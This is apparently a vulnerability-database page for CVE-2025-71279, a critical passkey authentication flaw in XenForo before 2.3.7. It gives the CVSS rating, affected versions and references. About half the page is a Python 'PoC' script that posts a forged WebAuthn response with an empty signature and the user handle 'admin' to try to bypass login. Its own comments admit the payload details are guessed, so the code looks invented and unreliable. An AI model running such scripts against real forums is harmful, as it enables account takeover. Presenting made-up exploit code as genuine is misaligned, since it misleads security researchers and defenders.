CVE-2025-71279

Description

XenForo before 2.3.7 contains a security issue affecting Passkeys that have been added to user accounts. An attacker may be able to compromise the security of Passkey-based authentication.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:xenforo:xenforo:*:*:*:*:*:*:*:* - VULNERABLE

XenForo < 2.3.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2025-71279 (Conceptual)
# This script demonstrates the authentication bypass logic.

import requests
import base64

def exploit(target_url):
    # The endpoint handling Passkey authentication
    auth_endpoint = f"{target_url}/account/passkey-authenticate"
    
    # Construct a malicious payload that bypasses signature verification
    # Specific payload parameters depend on the actual implementation flaw
    payload = {
        "response": {
            "clientDataJSON": base64.b64encode(b'{"type":"webauthn.get","challenge":"bypass","origin":"attacker.com"}').decode(),
            "authenticatorData": base64.b64encode(b"INVALID_DATA_BYPASS").decode(),
            "signature": "",
            "userHandle": "admin"
        }
    }
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "CVE-2025-71279-Scanner"
    }
    
    try:
        print(f"[*] Sending exploit payload to {target_url}...")
        r = requests.post(auth_endpoint, json=payload, headers=headers, timeout=10)
        
        if r.status_code == 200 and "login_success" in r.text:
            print("[+] Exploit successful! Authentication bypassed.")
            print(f"[+] Response: {r.text[:100]}")
        else:
            print(f"[-] Exploit failed. Status code: {r.status_code}")
    except Exception as e:
        print(f"[!] Error occurred: {e}")

if __name__ == "__main__":
    target = "https://example-xenforo.com"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-71279
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-71279
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-71279/
[4] VulDB https://vuldb.com/cve/CVE-2025-71279
[5] https://www.vulncheck.com/advisories/xenforo-passkey-security-bypass
[6] https://xenforo.com/community/threads/xenforo-2-3-7-released-includes-security-fixes.232121/

Raw JSON Data

JSON

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